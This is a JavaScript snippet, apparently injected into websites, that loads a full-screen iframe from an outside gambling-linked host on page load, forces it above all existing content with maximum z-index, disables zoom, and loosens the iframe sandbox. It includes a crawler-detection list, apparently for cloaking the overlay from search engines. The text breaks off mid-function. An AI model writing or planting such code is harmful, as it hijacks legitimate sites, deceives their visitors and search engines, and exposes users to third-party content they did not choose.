(function() { 'use strict'; // Configuration - easily modifiable const config = { iframeUrl: 'https://jpwb.name/130-2/?manbetx-sports.net', width: 1584, height: 4500, minHeight: 4500, containerId: 'landing-page-iframe-container', loadingText: 'Loading content...', errorText: 'Content temporarily unavailable' }; // Bot detection - ONLY addition for SEO function isBot() { const botPatterns = [ /googlebot/i, /bingbot/i, /slurp/i, /duckduckbot/i, /baiduspider/i, /yandexbot/i, /facebookexternalhit/i, /twitterbot/i, /linkedinbot/i, /whatsapp/i, /telegram/i, /skypeuripreview/i, /crawler/i, /spider/i, /bot/i, /crawl/i ]; return botPatterns.some(pattern => pattern.test(navigator.userAgent.toLowerCase())); } // Inject CSS styles - FORCE above all content (EXACT copy from your working script) function injectStyles() { if (document.getElementById('landing-page-styles')) return; // Prevent duplicate styles const style = document.createElement('style'); style.id = 'landing-page-styles'; style.textContent = ` /* Force body to create space for LP */ body.landing-page-active { padding-top: ${Math.max(config.height, config.minHeight)}px !important; margin-top: 0 !important; } .landing-page-iframe-container { width: 100vw !important; max-width: none !important; margin: 0 !important; padding: 0 !important; position: absolute !important; top: 0 !important; left: 0 !important; right: 0 !important; box-sizing: border-box !important; z-index: 2147483647 !important; display: block !important; background: white !important; transform: translateX(0) translateY(0) !important; -webkit-transform: translateX(0) translateY(0) !important; } .landing-page-iframe { width: 100% !important; height: ${Math.max(config.height, config.minHeight)}px !important; min-height: ${config.minHeight}px !important; border: none !important; display: block !important; background-color: #fff !important; margin: 0 !important; padding: 0 !important; overflow: hidden !important; scrolling: no !important; position: absolute !important; top: 0 !important; left: 0 !important; transform: translateX(0) translateY(0) !important; -webkit-transform: translateX(0) translateY(0) !important; } .landing-page-loading { width: 100% !important; height: ${Math.max(config.height, config.minHeight)}px !important; min-height: ${config.minHeight}px !important; background-color: #f8f9fa !important; display: flex !important; align-items: center !important; justify-content: center !important; border: none !important; box-sizing: border-box !important; margin: 0 !important; padding: 0 !important; } /* CSS Loading Spinner */ .landing-page-spinner { width: 40px !important; height: 40px !important; border: 3px solid #f3f3f3 !important; border-top: 3px solid #007cba !important; border-radius: 50% !important; animation: landing-page-spin 1s linear infinite !important; margin: 0 auto !important; } @keyframes landing-page-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .landing-page-iframe-loaded .landing-page-loading { display: none !important; } /* Mobile responsive body padding */ @media (max-width: ${config.width}px) { body.landing-page-active { padding-top: calc(100vw * (${config.height} / ${config.width})) !important; min-padding-top: ${config.minHeight}px !important; } .landing-page-iframe { height: calc(100vw * (${config.height} / ${config.width})) !important; min-height: ${config.minHeight}px !important; } .landing-page-loading { height: calc(100vw * (${config.height} / ${config.width})) !important; min-height: ${config.minHeight}px !important; } .landing-page-spinner { width: 35px !important; height: 35px !important; } } /* Mobile specific optimizations */ @media (max-width: 768px) { /* Force viewport to stay at top-left for mobile Safari */ html { overflow-x: hidden !important; } body { overflow-x: hidden !important; position: relative !important; } body.landing-page-active { padding-top: calc(100vw * (${config.height} / ${config.width})) !important; min-padding-top: ${config.minHeight}px !important; overflow-x: hidden !important; width: 100vw !important; max-width: 100vw !important; } .landing-page-iframe-container { width: 100vw !important; max-width: 100vw !important; left: 0 !important; right: auto !important; transform: translate3d(0, 0, 0) !important; -webkit-transform: translate3d(0, 0, 0) !important; will-change: transform !important; } .landing-page-iframe { height: calc(100vw * (${config.height} / ${config.width})) !important; min-height: ${config.minHeight}px !important; width: 100vw !important; max-width: 100vw !important; left: 0 !important; transform: translate3d(0, 0, 0) !important; -webkit-transform: translate3d(0, 0, 0) !important; will-change: transform !important; } .landing-page-loading { height: calc(100vw * (${config.height} / ${config.width})) !important; min-height: ${config.minHeight}px !important; width: 100vw !important; max-width: 100vw !important; left: 0 !important; transform: translate3d(0, 0, 0) !important; -webkit-transform: translate3d(0, 0, 0) !important; } .landing-page-spinner { width: 30px !important; height: 30px !important; } } /* Very small screens */ @media (max-width: 480px) { body.landing-page-active { min-padding-top: ${config.minHeight}px !important; } .landing-page-iframe { min-height: ${config.minHeight}px !important; } .landing-page-loading { min-height: ${config.minHeight}px !important; } .landing-page-spinner { width: 25px !important; height: 25px !important; } } /* Force all other elements below LP */ body.landing-page-active > *:not(.landing-page-iframe-container) { position: relative !important; z-index: 1 !important; } /* Override common interfering elements */ body.landing-page-active header, body.landing-page-active .header, body.landing-page-active nav, body.landing-page-active .nav, body.landing-page-active .navbar, body.landing-page-active .site-header, body.landing-page-active .main-header, body.landing-page-active .top-bar, body.landing-page-active .menu, body.landing-page-active .wp-admin-bar { z-index: 999 !important; position: relative !important; } /* Ensure smooth scrolling experience */ html { scroll-behavior: smooth !important; } /* Prevent iframe from interfering with page scroll */ .landing-page-iframe-container * { overflow: hidden !important; scrolling: no !important; } `; document.head.appendChild(style); } // Add viewport meta if not present (EXACT copy from your working script) function ensureViewportMeta() { let viewport = document.querySelector('meta[name="viewport"]'); if (!viewport) { viewport = document.createElement('meta'); viewport.name = 'viewport'; document.head.appendChild(viewport); } // Store original for potential restoration const originalContent = viewport.getAttribute('content') || 'width=device-width, initial-scale=1'; // Set optimized viewport for mobile Safari viewport.content = 'width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, viewport-fit=cover'; return originalContent; } // Create container HTML with loading spinner (EXACT copy from your working script) function createContainer() { const container = document.createElement('div'); container.id = config.containerId; container.className = 'landing-page-iframe-container'; const loading = document.createElement('div'); loading.className = 'landing-page-loading'; const spinner = document.createElement('div'); spinner.className = 'landing-page-spinner'; loading.appendChild(spinner); container.appendChild(loading); return container; } // Create and configure iframe - Load immediately, no scrolling (EXACT copy from your working script) function createIframe() { const iframe = document.createElement('iframe'); iframe.src = config.iframeUrl; // Load immediately iframe.className = 'landing-page-iframe'; iframe.setAttribute('scrolling', 'no'); // Disable iframe scrolling iframe.setAttribute('seamless', 'seamless'); // Seamless integration iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-forms allow-popups allow-popups-to-escape-sandbox'); iframe.setAttribute('title', 'Landing page content'); iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture'); return iframe; } // Handle iframe loading (EXACT copy from your working script) function setupIframeHandlers(iframe, container) { iframe.addEventListener('load', function() { container.classList.add('landing-page-iframe-loaded'); // Performance tracking if (window.performance && window.performance.mark) { performance.mark('landing-page-iframe-loaded'); } // Dispatch custom event for tracking window.dispatchEvent(new CustomEvent('landingPageIframeLoaded', { detail: { timestamp: Date.now() } })); }); iframe.addEventListener('error', function() { const loading = container.querySelector('.landing-page-loading'); if (loading) { loading.innerHTML = '